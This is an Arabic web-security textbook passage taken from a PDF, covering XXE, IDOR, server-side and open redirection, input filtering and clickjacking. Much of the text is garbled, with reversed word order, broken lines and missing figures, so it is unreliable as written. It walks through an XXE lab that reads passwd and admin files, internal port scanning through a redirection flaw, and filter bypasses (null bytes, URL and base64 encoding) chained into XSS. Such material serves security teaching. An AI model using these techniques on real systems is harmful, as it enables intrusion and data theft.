سیتم تمریر ھذه القیم من قبل 	،	passwordوكلمة المرور  		usernameالمستخدم 

:كالآتي  		queryالمستخدم وستكون الـ  

Ahmed	Hashem	El	Fiky



...)تكملھ( Injection	XPathثغرة ال 

Ahmed	Hashem	El	Fiky

قن القیمة في حالة لم یقم المبرمج بمعالجة ھذه المدخلات بالشكل السلیم، قد یقوم المخترق بح
:التالیة في حقل كلمة المرور 

:كالآتي  سیؤدي حقن القیمة السابقة إلى جعل التعلیمة

لجمیع المستخدمین 		cards	creditوالتي ستقوم بعرض قیم الـ



...)تكملھ( Injection	XPathثغرة ال 

XPath الـ ثغرات لمنع الصحیحة الممارسات• Injection

الأول المقام في المستخدم من قادمة مُدخلات على تستند queriesببناء تقم لا•
parameters  الـ بإختبار تقوم بأنك فتأكد التعلیمات، ھذه مثل بناء من بد ولا كان إن•

 الحروفو الأرقام مثل المسموحة، القیم على فقط تحتوي بأنھا والتأكد المستخدم من القادمة
White  منھجیة إستخدم آخر بمعنى فقط، List على بالإعتماد تقم ولا المدخلات، لإختبار 
.عدةّ تجاوز طرُق لھا الأخیرة الطریقة أن حیث	،Sanitization المدخلات تنقیح

Ahmed	Hashem	El	Fiky



تم بحمد الله انتھاء الفصل السادس

Ahmed	Hashem	El	Fiky



الفصل السابع 
Injection	XXEثغرة ال 

Ahmed	Hashem	El	Fiky

المؤلف
أحمد ھاشم الفقي /م.د

المعلومات و التحول الرقمياستشارى أمن 
comoutlook.ElFiky@Hashem.Ahmed.



Injection	XXEثغرة ال 

 نظرة لنلُقي		،XML  الترمیز بلغة المتعلقّة الثغرات أنواع مختلف مناقشة في البدء قبل•
 الذي الھدف ما منھا نوع كل ونعرف الأنواع ھذه على )الآتیة للصورة انظر (  شمولیة
:الضّرر بھ یحُدث

Ahmed	Hashem	El	Fiky



...)تكملھ( Injection	XXEثغرة ال 

XML بالـ المتعلقّة الثغرات• Parser
 یقوم وعملیاتھا أجزائھا بعض في XMLالترمیز لغة على تعتمد التي الویب تطبیقات•

XML  بإستخدام مطوریھا Parser الـ ، الویب تطبیق في المستخدمة باللغة خاص  XML  
Parser قراءة في یساعد  Parsing)( الـ أكواد  XML حتى الویب لتطبیق مفھومھ وجعلھا 
 الخاص والكود XML  الـ كود بین API  بـ أشبھ Parserالـ أن أي معھا، التعامل یستطیع
 ویحاول مباشر بشكل XML  الـ كود مع الویب مطوّر یتعامل أن عن فعوضًا .الویب بتطبیق
XML  بإستخدام یقوم بنفسھ، سطر كل تفسیر Parser ھذه وبالمناسبة الوظیفة، ھذه یؤدي 
 لغات من فالعدید الإنتشار، واسعة XMLالـترمیز لغة جعلت التي الأسباب أحد ھي المیزة

XML  بالـ خاصة مكتبات لدیھا البرمجة Parser،		من تطبیقین بین التخاطب عملیة بالتالي 
 لغة أوجدنا ذاإ ما حدٍ  إلى سھلة مھمّة ستكون البیانات قراءة أو تبادل بغرض مختلفتین لغتین

XML الترمیز لغة نقصد الحالة ھذه وفي ، التطبیقین ھذین بین مشتركة

Ahmed	Hashem	El	Fiky



...)تكملھ( Injection	XXEثغرة ال 

XML  للـ المختلفة الأنواع من العدید یوجد• Parser ھذه لكن ھنا، مناقشتھا بصدد ولسنا 
XML الـ ببعض قائمة Parser العمل وأطُر اللغات لبعض المصدر المفتوحة:

•Java
•Python
•PHP
•.NET Framework
XML الـ حول المقدمة ھذه بعد• Parser،		نقاط بعض بسبب تحدث التي للثغرات الآن لننتقل 

XML  الـ في الضعف Parser التي الخصائص بطبیعة الویب تطبیق مطوّر جھل بسبب أو 
.إمكانیاتھ وحدود Parser الـ ھذا یقدمھا

Ahmed	Hashem	El	Fiky



...)تكملھ( Injection	XXEثغرة ال 
•XML External Entity Injection (XXE)
XML الـ ھو ما بدایةً  لنعرف الثغّرات من النوع ھذا على نتعرّف أن قبل• Entity؟
XML  الـ• Entity نفس يف تكون قد البیانات وھذه بیانات یحمل متغیر إعتباره نستطیع 

Internal)( الـ ملف XML خارجھ في أو External)(
XML الـ ملف ضمن ENTITY تعریف على مثال ھذا•

Ahmed	Hashem	El	Fiky



...)تكملھ( Injection	XXEثغرة ال 

XML الـ من مختلفین نوعین عرّفنا أعلاه المثال في• ENTITY وھما :
•External ENTITY
•Internal ENTITY
External الأول النوع ھو ھنا یھمنا ما• ENTITY الـ ھو وھذا Syntax بتعریفھ الخاص :

•EntityNameالمتغیرّ ھذا لأسم یرمز
•SystemLiteral تلفةمخ أنواع إستخدام بإمكاننا وھنا الملف، بھ المتواجد المسار إلى ترمز 

URI الـ من Scheme الـ مثل HTTP , File

Ahmed	Hashem	El	Fiky



...)تكملھ( Injection	XXEثغرة ال 
XML الـ على تعرّفنا أن بعد الآن• External Entity،
XML الـ ثغرة ماھي لنعرف• External Entity Injection؟
 خدمالمست من البیانات منھ تأتي "مكان"  یتواجد أن بد فلا Injection  نوع من ثغرة أنھا بما•

Parser الـ إلى وترُسل الكود مع البیانات ھذه خَلط یتم ثم ومن ) آخر تطبیق من أو (
 مع خلطھا یتم قد القیم وھذه المستخدمین من قیم یستقبل الویب تطبیق ھنا حالتنا وفي•

Code XML،		حقن خترقللم یتیح ممّا للمدخلات كافیة فلَترة بعمل الویب تطبیق یقوم ولا 
XML حقن ھنا نقصد وتحدیداً XML كود External Entity

:أكثر الصورة تتضح حتى العملي بالجانب ونبدأ الشرح عن قلیلاً  لنتوقف•
 Machine  الـ ھذه على بسیط تحديّ وحل بالتطبیق سنقوم•
•/174lab,-xxeseries/com/.vulnhub.www//:https
Fiky	El	Hashem	Ahmed:كالآتي ستكون المعمل إعدادات•



...)تكملھ( Injection	XXEثغرة ال 

http://172.16.220.134 :بالثغرة المصاب الویب تطبیق•
Kali :خلالھا من بالإختبار نقوم التيMachine الـ• machine
 نجد )(/http://172.16.220.134/xxe  بالتطبیق الخاصة الصفحة على الدخول بعد•

:ھذه الدخول تسجیل واجھة

Ahmed	Hashem	El	Fiky



...)تكملھ( Injection	XXEثغرة ال 
Burp  أداة طریق عن الطلب وإعتراض الدخول تسجیل نحاول• Suite إرسالھ یتم أن قبل 

التطبیق بھا یعمل التي الآلیة ما نفھم حتى الویب تطبیق إلى

Ahmed	Hashem	El	Fiky



...)تكملھ( Injection	XXEثغرة ال 
	،XML  ـال عبر تمریرھا یتم بالمستخدم الخاصة البیانات أن نلاحظ الطلب، إعتراض بعد•

Source  الـ على نظرة نلُقي Code الدالة ونجد  XMLFunction() الـ ببناء تقوم والتي 
xml document الویب تطبیق إلى وتمریره :

Ahmed	Hashem	El	Fiky



...)تكملھ( Injection	XXEثغرة ال 

نا الذي الجزء •  خدمالمست اسم(  المستخدم من القادمة المدخلات أن ھو الكود في تحدیداً یھمُّ
 لھذه مُسبقة فلترة عملیة أي یوجد ولا XML  الـ كود مع خلطھا یتم )المرور وكلمة

 مُصابین passwordو name  المتغیرین كِلا ، الحقن نستطیع ھنا ومن المدخلات،
: خلالھما من الحقن ونستطیع

Burp الـ في Repeater الـ إلى الآن لنعود ، الكود تحلیل بعد• Suite

Ahmed	Hashem	El	Fiky



...)تكملھ( Injection	XXEثغرة ال 

Ahmed	Hashem	El	Fiky



...)تكملھ( Injection	XXEثغرة ال 
: مثل XML الـ في Meta-character الـ قیم أحد تمریر طریق عن الإختبار نبدأ•

Ahmed	Hashem	El	Fiky



...)تكملھ( Injection	XXEثغرة ال 
 المدخلات في القیم ھذه أحد فحقن للمدخلات الفلترة بعمل یقوم لا الویب تطبیق كان حالة في•

 لنا یظُھر Parser  الـ یجعل مما		،XML  الـ لملف السلیمة البنیة في خطأ إحداث على سیعمل
 المستخدم اسم ضمن &  القیمة مرّرنا الآتیة الخطوة في		،Response  الـ في خطأ رسالة

. ورالمر بكلمة الخاص المتغیر على المحاولة أعدنا ثم ومن ، مصاب أنھ نتأكد حتى أولاً 

Ahmed	Hashem	El	Fiky



...)تكملھ( Injection	XXEثغرة ال 

Ahmed	Hashem	El	Fiky



...)تكملھ( Injection	XXEثغرة ال 

	،Response  الـ ضمن تظھر لم Parser  الـ من توقعناھا التي الخطأ رسالة أن نلاحظ•
XML  بـ الحقن لنحاول المثال سبیل على ، آخر شيء بحقن الآن لنبدأ External Entity

:كالآتي

المدخلات قیم أحد ضمن Entity الـ ھذا نستدعي ثم ومن•

Ahmed	Hashem	El	Fiky



...)تكملھ( Injection	XXEثغرة ال 

Request الـ ونرسل•

Ahmed	Hashem	El	Fiky



...)تكملھ( Injection	XXEثغرة ال 
؟ ھنا حصل الذي ما !!جمیل•
External  تعریف طریق عن passwd  الـ ملف قراءة إستطعنا• Entity المسار یحمل 

External الـ ھذا حقنا ثم ومن ، الملف بھذا الخاص Entity المدخلات قیم أحد في
الحقن، من آخر لمستوى لننتقل•
admin بالـ خاصة فرعیة تسجیل صفحة وجدنا robots.txt الـ ملف محتوى قراءة بعد•

Ahmed	Hashem	El	Fiky



...)تكملھ( Injection	XXEثغرة ال 
لشيء، نتوصّل لم الكود وتحلیل الثغرة لنفس الدخول صفحة لإختبار عدةّ محاولات بعد•
 تسجیل صفحة في الثغرة طریق عن admin.php  الـ ملف محتوى قراءة عن ماذا لكن•

الأولى؟ الدخول
!نظرة لنلُقي•

Ahmed	Hashem	El	Fiky



...)تكملھ( Injection	XXEثغرة ال 

!أیضًا الملف محتوى قراءة إستطعنا•
:كالآتي الملف لمحتوى Encoding بعمل قمنا أننا لاحظ•

الصفحة ضمن البیانات ھذه وجدنا ، الملف لمحتوى Decodingعمل بعد•

Ahmed	Hashem	El	Fiky



...)تكملھ( Injection	XXEثغرة ال 

Ahmed	Hashem	El	Fiky



...)تكملھ( Injection	XXEثغرة ال 

: البیانات ھذه بإستخدام الدخول بتسجیل نقوم •

Ahmed	Hashem	El	Fiky



...)تكملھ( Injection	XXEثغرة ال 

العلَمَ على نحصل ثم ومن•

Ahmed	Hashem	El	Fiky



تم بحمد الله انتھاء الفصل السابع



الفصل الثامن 
لویبأسالیب معالجة المدخلات فى تطبیقات ا

Ahmed	Hashem	El	Fiky

المؤلف

أحمد ھاشم الفقي/ م.د
استشارى أمن المعلومات و التحول الرقمي

Ahmed.Hashem.ElFiky@outlook.com



أسالیب معالجة المدخلات فى تطبیقات الویب
  الـ من لویبا تطبیقات لحمایة المبرمجین یتبعھا التي المختلفة المنھجیات تنُاقش الفصل ھذه•

User Input "المستخدمین مدخلات".

:كالتالي تقسیمھا بالإمكان الویب تطبیقات في المُدخلات معالجة أسالیب•

Reject  بـ یعُرف ما أو ضارّة، بأنھا مُسبقاً المُعرّفة المُدخلات حجب -1• Known Bad
.الاختراق عملیة في الاستخدام الشائعة بالمدخلات قائمة المبرمج یعُرّف النوع ھذا في•

 خارج خلمُد إدخال بساطة بكل ستكون تجاوزه عملیة لأن الحمایة في جداً سیئ یعتبر النوع ھذا•

.القائمة ھذه نطاق

NULL لھجوم أیضًا معرّضة تكون قد المنھجیة ھذه تتبع التي التطبیقات• Byte Attack
• NULL Byte Attack أحیاناً لھ یرمز والذي ، ھذا الحمایة أسلوب تجاوز أنواع من نوع ھو 

Black-Listed  بالاسم filters،		بإدراج المخترق یقوم الھجوم من النوع ھذا في  Null Byte 

 ھذا المخترق سیتجاوز وبالتالي		،filter  الـ عمل تعطیل إلى یؤدي مما ، المحجوب المُدخل قبل

.الحمایات من النوع

Ahmed	Hashem	El	Fiky



أسالیب معالجة المدخلات فى تطبیقات الویب 
...)تكملھ(

Accept  بـ یعُرف ما أو سلیمة، بأنھا مُسبقاً المُعرّفة بالمُدخلات فقط السماح -2• Known Good
.تھمعالج یتم لن دونھا وما قبولھا، یتم التي بالمُدخلات قائمة المُبرمج یعُرّف النوع ھذا في•

:تكون قد المبرمج یعرفھا التي القائمة•

•Set of Literal Strings فقط الحروف باستخدام تسمح قائمة ھنا المبرمج یعرف.

•Patterns معین "شكل" تتبع قائمة ھنا المبرمج یعرف.

•Set of Criteria الجتھمع تتم حتى المُدخل على تنطبق أن یجب معاییر عدة ھنا المبرمج یعرف.

 عملیة يف فقط علیھ الاعتماد یجب لا لكن السابق، من وأفضل جید یعتبر الحمایة من النوع ھذا•

.أیضًا الأخرى الحمایة أسالیب الاعتبار بعین یؤخذ أن لابد الحمایة،
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أسالیب معالجة المدخلات فى تطبیقات الویب 
...)تكملھ(

Data بـ یعرف ما أو المُدخل، تصحیح -3• Sanitization
 ھذا "تصحیح"  بعملیة یقوم ولكن الضّار، المُدخل بحجب یقوم لا المُبرمج النوع ھذا في•

 ررالض إحداث الى تؤدي قد التي الأحرف أحد حذف طریق عن المثال سبیل على المدخل،

.الویب بتطبیق

.الحمایة في جداً جید یعتبر قد المنھج ھذا•

 بعض في القصور بعض یملك لكنھ ما، حدٍ  إلى جید المنھج ھذا كون من الرغم على•

 اصةالخ "الضارّة البیانات أنواع"  من العدید تصحیح المبرمج یرید عندما :مثل الحالات

Boundary  منھج استخدام الأفضل الحالة ھذه في واحد، بمُدخل Validation
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أسالیب معالجة المدخلات فى تطبیقات الویب 
...)تكملھ(

Safe بـ یعُرف ما أو السلیمة، البیانات معالجة -4• Data Handling
 مدخلات نم التحقق"  خلال من فقط لیس تجنبھا یتم الویب بتطبیقات المتعلقة الثغرات•

 منھ،آ بصورة "معالجتھا"  یتم المدخلات ھذه بأن التأكد طریق عن أیضًا ولكن "المستخدم

 قومی ما فقط ھي الآمنة والبیانات فقط، الآمنة البیانات "معالجة"  على یركز المنھج ھذا

.المستخدم قبل من المُدخلة ولیست بتعریفھا المبرمج

SQL  الـ بتعریف المبرمج یقوم عندما :المنھج ھذا على الأمثلة أحد• Queries یتم التي 

 الخاص المدخل ارسال من بدلاً  لتعالجھا، methods/functions  الدوال لأحد إرسالھا

.الدوال لھذه parameter كـ بالمستخدم

Ahmed	Hashem	El	Fiky



أسالیب معالجة المدخلات فى تطبیقات الویب 
...)تكملھ(

Semantic بـ یعُرف ما أو المُدخلة البیانات دلالة من التحقق -5• Checks
 أن ببسب ولكن ضار، المُدخل كون بسبب لیس تحدث التي الثغرات یعُالج المنھج ھذا•

 .آخر بمستخدم متعلقة لبیانات الوصول إلى أدىّ ولكنھّ سلیم المُدخل

 الخاص يالبنك الحساب رقم مثلاً "  ما بمستخدم متعلق مُدخل بإدخال المخترق یقوم قد :مثلاً •

 لمستخدما ھذا بیانات إلى الوصول المخترق یستطیع المُدخل ھذا ادخال وبعد "ھذا بالمستخدم

 في طمرتب مُدخل بإدخال قام المخترق كون بسبب الحالة ھذه مثل تحدث قد ؛ صلاحیاتھ أو

 لم الویب تطبیق ولكن سلیم، غیر المدخل أن في لیست ھنا الثغرة المستخدم، بھذا الأساس

 المنھج ھذا لذلك الإدخال، بعملیة قام الذي مع صحیح بشكل مرتبط المُدخل أن من بالتأكد یقم

 عالجتھم یتم مُدخل كلُ أي (  وسلیمة صحیحة "المُدخلة البیانات دلالات"  أن من بالتأكد یقوم

.)آخر لمستخدم ولیس بإدخالھ قام الذي بالمستخدم متعلق بالفعل ھو
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تم بحمد الله انتھاء الفصل الثامن
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IDORثغرة ال 

 الحساسھ یاناتكب سرقھ في وتتسبب الویب تطبیقات تصیب ثغرة على الیوم سنتعرف حیث•
 السماح خلال من ذلك ویتم المستخدم واسم المرور كلمات او البنكیھ الحسابات مثل

.منھ التحقق یتم ان دون لمتغیر inputبإدخال للمستخدم

OWASP  في نصیب ولھا الثغرات أخطر من تعتبر IDOR  ثغرة• Top  سنة في 10
 و بوكفیس و تویتر مثل العالمیة المواقع من الكثیر وأصابت CWE-639رقم وتأخذ 2013

. ..الخ أوبر

Authorization  تعتبر IDOR  ثغرة• Bug) Web Parameter Tampering( وھي 
 ھذا قیمة تغییر یستطیع والمستخدم )user-input(  متغیرا المبرمج یضع عندما تحدث

Insecure(  تسمیتھا تم ولھذا ,بتغییره مصرح غیر وھو ,المتغیر Direct Object
References(
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...)تكملھ( IDORثغرة ال 

موقع  ھو البرامیترات مثلا لاللحصر عندما تشاھد" متغیر"لمن لم یفھم ماذا اعني بكلمة •
http://evil.com/test?name=1337r00t: بھذا الشكل 

.ھو قیمة المتغیر  1337r00tھو المتغیر و  	nameال•

-:شرح عملي # •

ریال وانت  5000رأیت موقع بیع ھواتف وأحببت انت ان تشتري آیفون لكن قیمة الآیفون •
-: لكن عندما طلبت شراء الآیفون لاحظت ان رابط الطلب أصبح, لاتمتلك ھذا المبلغ
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...)تكملھ( IDORثغرة ال 

ریالات في سلة  10فتم وضع قیمة الآیفون  10الى  	priceقمت انت بتغییر قیمة متغیر •
IDORھنا حدثت ثغرة ! المشتریات وشریتھ فعلیا بھذه القیمة 

خاص بھ ویمكن للمستخدم  	idیوجد لھ  	Facebookمثلا أخر لكل منشور او تعلیق على •
حذف او تعدیل اي منشور من خلال ذلك المعرف وھنا یقوم المھاجمین بإستغلال ھذه 

 	idحذف او تعدیل لمنشور ما، ثم یقوم بتغییر ال  	requestالنقطھ من خلال إرسال 
منشور الضحیة وھنا تتم عملیھ استبدال للبیانات 	idوإدخال 

داخل  ومن ھنا یمكن للمھاجم حذف تعلیق او تعدیل نص او الاطلاع على بیانات اي شخص•
!مجموعة وذلك لأن الموقع ھنا مصاب وسیقوم بتنفیذ الطلب دون التحقق منھ
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...)تكملھ( IDORثغرة ال 

الرابط في username یستخدم شراء متجر او موقع اخر مثلا•

•www.example.com/username=MissAngela/details

 كنت اذا وھنا لدي visa  او الدفع بطاقة معلومات سیعرض الرابط ھذا ان المفترض ومن•
 سما ولیكن كثیر مال یملك اي كثیرة شراء بعملیات یقوم مستخدم username  اعرف

majd مثلا المستخدم
الضحیة userواضع الرابط في المدخل سأغیر ھنا•

•www.example.com/username=majd/details
الشراء بیانات او الضحیة visa معلومات سیعرض مصاب الموقع كان فإذا•

!المستخدمین بیانات جمیع وسرقة عشوائیا users وضع یمكنني حتى او•
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...)تكملھ( IDORثغرة ال 

مثال اخر موقع لتحمیل تطبیقات مدفوعة•

:قمت بشراء تطبیق وكان رابط التحمیل على الشكل التالي•

•www.example.com/app_id=11/download
 12لنضع  	idخاص بھ واذا قمنا بتغییر 	idویبدو من الرابط السابق ان كل تطبیق لھ رقم •

..!سأستطیع الوصول إلى تطبیقات اخرى مدفوعة مجانا
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...)تكملھ( IDORثغرة ال 

-:التجنب عن ھذه الثغرة # •

الحساسة او  یجب علیك عزیزي المبرمج ان لاتعطي المستخدم الأمكانیة على تغییر البیانات•
.اللذي من الغیر طبیعي تغییرھا 

ة ایضا یجب على المطور او مسؤول حمایھ الموقع او المتجر تجنب إظھار الملفات المھم•
وھي قیمة یتم تولیدھا (مخصص  	tokenبالموقع وان یكون التحقق من الطلبات وربطھا بـ 

	tokenخاصة بكل مستخدم منفرد حیث لایتم قبول اي طلب اذا لم یتوافق ال ) عشوائیا
الذي یكون مع الطلب

مثل burpsuiteالمفیدة في 	plug-insیوجد بعض •

•Authz	,	AuthMatrix,	Authorize لاختبار ھذه الثغرة و الكشف عنھا
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تم بحمد الله انتھاء الفصل التاسع
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Redirectionثغرات ال 

 ھماو )التوجیھ اعادة ثغرات(  التحویل لثغرات مفصل شرح الفصل ھذا فى نستعرض•
:ثغرتان

Server-side: الأولى• HTTP Redirection
Open : الثانیة• Redirect
Server-side:اولا• HTTP Redirection
 ابطر ربما او التطبیق داخل اخر رابط الى رابط من بتحویلك تقوم ثغرة ھى ببساطة•

 لسیرفرا یقوم ثم الویب تطبیق فى معینة قیم ادخال یتم عندما الثغرة ھذه تظھر .خارجى
القیمة لھذه التطبیق توجیھ وبالتالى الأصلى الرابط الى واضافتھا القیم ھذه بمعالجة
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...)تكملھ( Redirectionثغرات ال 
سیرفر موقع یوفر عدة ثیمات مختلفة لیظھر بھا وعندما تختار ثیم معین یقوم ال: مثال•

:بمعالجة طلبك مثل الصورة التالیة

ثم یعرض  themeواضح من الصورة ان الموقع یاخذ طلبك ویدمجھ فى بارمتر یسمى •
اختیارك فى المتصفح وھو الثیم الأول
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...)تكملھ( Redirectionثغرات ال 

 یثح المستخدم مدخلات من بالتحقق یقوم لا السیرفر ان ھو الأساس فى الثغرة سبب•
 الثغرة ھذه ان اى القیم حظرعلى اى بدون theme  البارامتر قیم تغییر المستخدم یستطیع

 الى لتحویلا المھاجم یستطیع حیث .السیرفر وبین المھاجم بین -وسیط-  بروكسى تعتبر
 فرالسیر على اخرى بخدمات والإتصال  خبیثة اكواد بھا صفحات وعرض اخرى روابط
 لموقع الداخلیة الشبكة الى والدخول الموقع داخل حساسة صفحات الى الدخول وربما

 فى كبرا صلاحیات على والحصول النارى الجدار تخطى فى الثغرة تساعد واحیانا الشركة
. الموقع تصفح

 الى صفحة نم بالتحویل تقوم الى البارمترز كل عن البحث علیك یجب الثغرة ھذه لإكتشاف•
كالتالى IP على او روابط على تحتوى التى البارمترز عن ابحث. اخرى صفحة
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...)تكملھ( Redirectionثغرات ال 

:الإستغلال عملیة فى لنبدا النوع ھذا من البارمترز كل اجمع•
 استجابة ونرى theme=isecur1ty.com/files  البارمتر قیمة على بالتعدیل سنقوم•

 استبدال سطیعت بالتأكید.  مصاب فالموقع الجدید المسار لھذا توجیھك تم اذا.  للطلب السیرفر
 رابطال الى توجیھك وسیتم خارجى رابط او الموقع داخل سواء رابط بأى البارمتر قیمة

. اتصلاحی اى بدون الموقع صفحات من كثیر الى الدخول تستطیع وبالتالى الجدید
Server-side لثغرة  متقدم استغلال :1مثال• HTTP Redirection
 على تعمل ftp  خدمة تعلمون كما.  الثغرة ھذه خلال من ftp  بخدمة الإتصال سنحاول•

التالیة الصورة لاحظ للطلب السیرفر استجابة وسنرى 21 بورت
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...)تكملھ( Redirectionثغرات ال 
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.او ربما الدخول مباشرة الى الخدمة 	grabbing	bannerیستخدم ھذا الإستغلال فى 
واصداره وعرفنا  21عرفنا البرنامج المثبت على بورت -فتكون نتیجة الإستغلال غالبا على ھذا الشكل 

وبالتالى توجیھ ھجمات اخرى ضده -نظام التشغیل المستخدم



...)تكملھ( Redirectionثغرات ال 

Redirection	HTTP	Server-sideاستغلال متقدم لثغرة : 2مثال•
لشبكة سنحاول الدخول الى الشبكة الداخلیة للموقع واكتشاف الأجھزة المختلفة داخل ھذه ا•

وعمل فحص للبورتات المفتوحة على ھذه الأجھزة واكتشاف الثغرات بھا
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بقائمة من اشھر البورتات 21ونستبدل  IPبجموعة من  192.168.0.1نستبدل 
لى او من الممكن الإعتماد ع” لعشاق البرمجة“یمكن تنفیذ ھذا الھجوم من خلال برمجة سكربت خاص 

suite	burpاحد اداوت 	intruder	burpاداة 



...)تكملھ( Redirectionثغرات ال 
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...)تكملھ( Redirectionثغرات ال 

Redirection	HTTP	Server-sideاستغلال متقدم  لثغرة : 3مثال•
ونقوم بإستغلال مزدوج 	xssسندمج ھذه الثغرة مع ثغرة •
search.php?s=فى   	xssعند فحص الموقع اكتشفنا ثغرة اخرى من نوع•
لاحظ الإستغلال فى الصورة التالیة•
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...)تكملھ( Redirectionثغرات ال 

. یمكنك استخدام بایلود اخر یناسب احتیاجاتك 	hackedقمنا بإستخدام بایلود یعرض كلمة •
وذلك  	xssاذن استخدمنا ثغرة التحویل وقمنا بالتحویل الى صفحة اخرى مصابة بثغرة •

.یقوى من الثغرتین ویزید من مساحة الإختراق فى الموقع
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...)تكملھ( Redirectionثغرات ال 

Redirect	Open:ثانیا•
ستخدم ببساطة ھى ثغرة تقوم بالتحویل الى صفحات او روابط اخرى ولكنھا اقل خطورة ت•

 حیث بقوم بتحویل الضحیة من” الصفحات المزورة phishingبشكل رئیسى فى ھجمات 
جمات الموقع الأصلى الى صفحة مزورة لسرقة البیانات وتعتبر اكثر قوة واقناعا من ھ

phishing	 طى الضحیة التقلیدیة لأن التحویل یتم على الموقع الأصلى بدون اى مشاكل فیع
.الكثیر من الثقة والراحة 

دون التحقق تظھر ھذه الثغرة عندما یقبل تطبیق الویب مدخلات اى بارمتر ویقوم بتنفیذه ب•
من قیمة المدخلات
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...)تكملھ( Redirectionثغرات ال 

الى  	isecur1ty.comیقوم بالتحویل من  	redirectفى المثال السابق ھناك بارمتر یسمى•
isecur1ty.org	  لكن ماذا اذا قمنا بالتعدیل على قیمة البارمتر واسندنا لھ قیمة جدیدة:

.”لا یتحقق من القیم“بالطبع سیتم تحویلك الى الرابط الجدید اذا كان الموقع مصاب •
بالتعدیل على  لإكتشاف الثغرة علیك فحص كل البارمترز الى تقوم بالتحویل الى روابط اخرى وقم•

ھل قام بالتحویل ام صد ھذا الھجوم ؟:ھذه الروابط ولاحظ استجابة الموقع 
:عملیة  التحویل یمكن اكتشافھا فى الموقع بعدة طرق•
مباشرة من البارمترز•
Headers	HTTPاو من خلال رسائل  التحویل التالیة فى •

Ahmed	Hashem	El	Fiky



...)تكملھ( Redirectionثغرات ال 
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phpاكتشاف الثغرة فى اكواد •
redirectالمسند الى المتغیر  	urlھذا كود بسیط یقوم بالتحویل الى •
لعدم وجود اى وسیلة للتحقق من قیمة  	Redirect	Openیعتبر ھذا الكود مصاب بثغرة •

:وعدم وجود اى فلترة للمدخلات وتكون النتیجة كالأتى 	redirectالمتغیر 

!!!وھو موقع المھاجم مثلا  	hacked.comقمنا بالتحویل الى موقع اخر •



...)تكملھ( Redirectionثغرات ال 

javascript اكواد فى الثغرة اكتشاف•
 التحقق انواع من نوع اى یوجد لا انھ واضح لكن التحویل بعملیة یقوم سكریبت جافا كود•

:الأتى ھى النتیجة وتكون بالثغرة مصاب فالموقع اذن redirect المتغیر لقیمة

!!! مثلا المھاجم موقع وھو hacked.com  اخر موقع الى بالتحویل قمنا•
 لتلاعبا علینا سیتوجب !!؟ المدخلة القیم من تحقق بعملیة یقوم الموقع كان اذا ماذا ولكن•

url  الرابط تشفیر خلال من التحقق كود او الفلترة تخطى ومحاولة قلیلا بالرابط
encoding المتقدمة الطرق ھذه بعض الأن سنستعرض .

Ahmed	Hashem	El	Fiky



...)تكملھ( Redirectionثغرات ال 

Redirect	Openاستغلال متقدم  لثغرة : 1مثال•
لاستغلال عادى ولكن عندما قمنا بھ لم تنجح عملیة التحوی:احظ الإستغلال التالى •

:سنستخدم بعض الحیل لتخطى ھذه الفلترة •
وتتخطى الفلترة 	WAFقبل الرابط احیانا تخدع) 0x00	or	 )%00	byte	nullاضافة /1•
encoding	urlتشفیر كل الرابط / 2•

Ahmed	Hashem	El	Fiky



...)تكملھ( Redirectionثغرات ال 

//:httpتشفیر /3•

وھكذا 	HtTpالى  	httpالتلاعب فى حالة الحروف مثلا نحول /4•

التكرار/5 •

Ahmed	Hashem	El	Fiky



...)تكملھ( Redirectionثغرات ال 

Redirect	Openاستغلال متقدم  لثغرة : 2مثال•
لم نكتشف اى ثغرة فالموقع محمى جیدا من ثغرات    	xssعندما فحصنا الموقع من ثغرات •

xss	 لذا قررنا محاولة استخدام ثغرةOpen	Redirect	  لإكتشاف واستغلال ثغرةxss
:ھذا استغلال ثغرة التحویل كما تعلمنا•
:xssمحاولة اكتشاف ثغرة •
فما الحل ؟ 	xssلكن لا جدید فالموقع محمى جیدا من ثغرات•
لیصبح بالشكل التالى 	base64سنقوم بتشفیر البایلود •
:سندمج التشفیرة فى الرابط بھذا الشكل•

Ahmed	Hashem	El	Fiky



...)تكملھ( Redirectionثغرات ال 

:لیصبح البایلود النھائى  	encoding	urlوالأن سنقوم بنشفیر من نوع •

:وتصبح النتیجة كالأتى •

redirect	openعن طریق ثغرة  	xssفى موقع محمى من % 100تعمل  	xssثغرة •

Ahmed	Hashem	El	Fiky



...)تكملھ( Redirectionثغرات ال 

:الى طرق الحمایة من ھذه الثغرة ننتقل الأن •
یفضل اولا عدم استخدام عملیة التحویل او اعادة التوجیھ فى موقعك قدر الإمكان•
اضافة فلترة قویة على قیم المدخلات •
الغیر مستخدمة 	characters	metaمنع كل •
وابط كل عملیات التحویل تكون الى روابط داخلیة فى موقعك وعدم السماح بإستخدام ر•

خارجیة 

Ahmed	Hashem	El	Fiky



تم بحمد الله انتھاء الفصل العاشر

Ahmed	Hashem	El	Fiky



الفصل الحادى عشر 
Jacking	Clickثغرة ال 

Ahmed	Hashem	El	Fiky

المؤلف

أحمد ھاشم الفقي /م.د
المعلومات و التحول الرقمياستشارى أمن 

comoutlook.ElFiky@Hashem.Ahmed.



Jacking	Clickثغرة ال 

اء ھو ھجوم یقوم بھ المھاجم باخف” سرق الضغطات ” تعرف الثغرة بمُصطلح متداول وھو•

ط في صفحة من موقع معین في صفحة اخرى وھمیة حیث یرید ان یقوم الضحیة بالضغ

لدخول الى مكان ما في الصفحة لیقوم بتنشیط فعالیة او الموافقة على طلبات من الموقع ل

.مثلاً  	OAuthموارد او غیرھا ك

ھو موقع عادي كل ما نحتاح ) example.isecur1ty.org(لو فرضنا على سبیل المثال •

GETبطلب . الیھ لكشف الثغرة ھو الدخول للصفحة المطلوبة 

:الان نراجع الرد من السیرفر •

Ahmed	Hashem	El	Fiky



...)تكملھ( Jacking	Clickثغرة ال 

Ahmed	Hashem	El	Fiky



...)تكملھ( Jacking	Clickثغرة ال 

ولا یوجد قیمة لھ لذلك سیعرض المتصفح ھذه  	X-Frame-Optionsلا یوجد في ھذه ال•

.في صفحة اخرى في موقع اخر  	objectاو  	Iframeأو 	frameالصفحة من اي 

ناتي الان لنفحص الصفحة 			Clickjackingممكن ان یكون الموقع مصاب بثغرة •

موقع حفظ الصور و لدیك صور مخفیة وھناك  	example.isecur1ty.orgلو فرضاً ان •

.ك خاصیة یمكن من خلالھا ان تسمح للتطبیقات بالدخول للصور المخفیة بموافقت

Ahmed	Hashem	El	Fiky



...)تكملھ( Jacking	Clickثغرة ال 

Ahmed	Hashem	El	Fiky



...)تكملھ( Jacking	Clickثغرة ال 

 	iframeفي جھازنا وال 	iframeتحتوي على  	htmlالان لنجرب الثغرة ونقوم بعمل صفحة •

